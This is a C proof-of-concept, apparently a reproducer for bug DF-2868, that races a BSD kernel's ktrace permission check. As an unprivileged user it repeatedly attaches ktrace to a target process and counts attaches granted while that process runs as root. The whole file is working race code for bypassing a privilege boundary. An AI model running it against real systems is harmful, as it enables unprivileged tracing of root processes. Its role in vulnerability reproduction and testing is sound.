DF-2868 / ktrace_race2.c
/* DF-2868: unpriv tracer races ktrcanset's unguarded p_ucred read */ #include <sys/types.h> #include <sys/sysctl.h> #include <sys/kinfo.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <time.h> static int target_euid(pid_t pid, int *euid, int *ruid) { int mib[4]; struct kinfo_proc ki; size_t len = sizeof(ki); mib[0] = CTL_KERN; mib[1] = KERN_PROC; mib[2] = KERN_PROC_PID; mib[3] = (int)pid; if (sysctl(mib, 4, &ki, &len, NULL, 0) < 0 || len == 0) return -1; *euid = ki.kp_uid; *ruid = ki.kp_ruid; return 0; } int main(int argc, char **argv) { pid_t target = (pid_t)atoi(argv[1]); int secs = argc > 2 ? atoi(argv[2]) : 60; setvbuf(stderr, NULL, _IONBF, 0); long attempts = 0, ok = 0, ok_root = 0, root_samples = 0; time_t t0 = time(NULL); while (time(NULL) - t0 < secs) { unlink("/tmp/kt.out"); int fd = open("/tmp/kt.out", O_CREAT | O_RDWR, 0600); if (fd >= 0) close(fd); errno = 0; long r = syscall(45 /* SYS_ktrace */, "/tmp/kt.out", 0 /* KTROP_SET */, (int)~0U /* facs */, (int)target); attempts++; if (r == 0) { ok++; int euid = -1, ruid = -1; if (target_euid(target, &euid, &ruid) == 0 && euid == 0) { ok_root++; fprintf(stderr, "[!!] ATTACH GRANTED while " "target euid=0 ruid=%d - ktrcanset raced " "the cred swap!\n", ruid); } syscall(45, NULL, 2 /* KTROP_CLEAR */, 0, (int)target); } int euid = -1, ruid = -1; if (target_euid(target, &euid, &ruid) == 0 && euid == 0) root_samples++; } fprintf(stderr, "[*] attempts=%ld attaches_ok=%ld ok_while_root=%ld " "root_phase_samples=%ld\n", attempts, ok, ok_root, root_samples); unlink("/tmp/kt.out"); if (ok_root > 0) return 2; return 0; } |